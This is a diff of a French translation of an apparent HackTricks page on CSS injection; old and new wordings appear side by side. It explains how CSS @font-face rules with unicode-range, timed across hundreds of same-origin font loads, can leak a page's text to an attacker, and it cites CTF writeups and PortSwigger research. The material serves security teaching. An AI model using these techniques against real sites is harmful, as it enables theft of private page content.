@ -724,15 +760,15 @@ src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
```
Si une correspondance est trouvée, la **police sera chargée depuis `/static/bootstrap.min.css?q=1`**. Bien qu'elle ne se charge pas avec succès, le **navigateur devrait la mettre en cache**, et même s'il n'y a pas de cache, il existe un mécanisme de **304 non modifié**, donc la **réponse devrait être plus rapide** que d'autres choses.
S'il y a une correspondance, la **police sera chargée depuis `/static/bootstrap.min.css?q=1`**. Même si elle ne se chargera pas correctement, le **navigateur devrait la mettre en cache**, et même s'il n'y a pas de cache, il existe un mécanisme **304 not modified**, donc la **réponse devrait être plus rapide** que pour d'autres éléments.
Cependant, si la différence de temps entre la réponse mise en cache et celle non mise en cache n'est pas suffisamment grande, cela ne sera pas utile. Par exemple, l'auteur a mentionné : Cependant, après des tests, j'ai constaté que le premier problème est que la vitesse n'est pas très différente, et le deuxième problème est que le bot utilise le drapeau `disk-cache-size=1`, ce qui est vraiment réfléchi.
Cependant, si la différence de temps entre la réponse mise en cache et la réponse non mise en cache n'est pas suffisamment importante, cela ne sera pas utile. Par exemple, l'auteur a mentionné : après tests, j'ai constaté que le premier problème est que la vitesse n'est pas beaucoup différente, et le deuxième problème est que le bot utilise le flag `disk-cache-size=1`, ce qui est vraiment réfléchi.
### Exfiltration de nœud texte (III) : fuite du charset en chargeant des centaines de "polices" locales (ne nécessitant pas d'actifs externes) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Référence :** Cela est mentionné comme [une solution infructueuse dans cet article](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**Référence :** Ceci est mentionné comme [une solution infructueuse dans ce writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Dans ce cas, vous pouvez indiquer **CSS pour charger des centaines de fausses polices** de la même origine lorsqu'une correspondance se produit. De cette façon, vous pouvez **mesurer le temps** qu'il faut et découvrir si un caractère apparaît ou non avec quelque chose comme :
Dans ce cas, vous pouvez indiquer du **CSS pour charger des centaines de fausses polices** depuis la même origine lorsqu'une correspondance se produit. De cette façon, vous pouvez **mesurer le temps** que cela prend et déterminer si un caractère apparaît ou non avec quelque chose comme :
```css
@font-face {
font-family: "A1";
@ -747,7 +783,7 @@ browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
```
Donc, si la police ne correspond pas, le temps de réponse lors de la visite du bot devrait être d'environ 30 secondes. Cependant, s'il y a une correspondance de police, plusieurs requêtes seront envoyées pour récupérer la police, ce qui entraînera une activité continue sur le réseau. En conséquence, il faudra plus de temps pour satisfaire la condition d'arrêt et recevoir la réponse. Par conséquent, le temps de réponse peut être utilisé comme un indicateur pour déterminer s'il y a une correspondance de police.
Donc, si la police ne correspond pas, le temps de réponse lors de la visite du bot sera d'environ 30 secondes. En revanche, s'il y a correspondance de police, plusieurs requêtes seront envoyées pour récupérer la police, entraînant une activité réseau continue. Par conséquent, il faudra plus de temps pour satisfaire la condition d'arrêt et recevoir la réponse. Ainsi, le temps de réponse peut être utilisé comme indicateur pour déterminer s'il y a une correspondance de police.
## Références
@ -755,5 +791,11 @@ Donc, si la police ne correspond pas, le temps de réponse lors de la visite du
- [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
- [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
- [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
- [Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)](https://portswigger.net/research/inline-style-exfiltration)
- [InlineStyleAttributeStealer.bambda (Burp Custom Action)](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda)
- [PoC page for inline-style exfiltration](https://portswigger-labs.net/inline-style-exfiltration-ff1072wu/test.php)
- [MDN: CSS if() conditional](https://developer.mozilla.org/en-US/docs/Web/CSS/if)
- [MDN: CSS attr() function](https://developer.mozilla.org/en-US/docs/Web/CSS/attr)
- [MDN: image-set()](https://developer.mozilla.org/en-US/docs/Web/CSS/image/image-set)
{{#include ../../../banners/hacktricks-training.md}}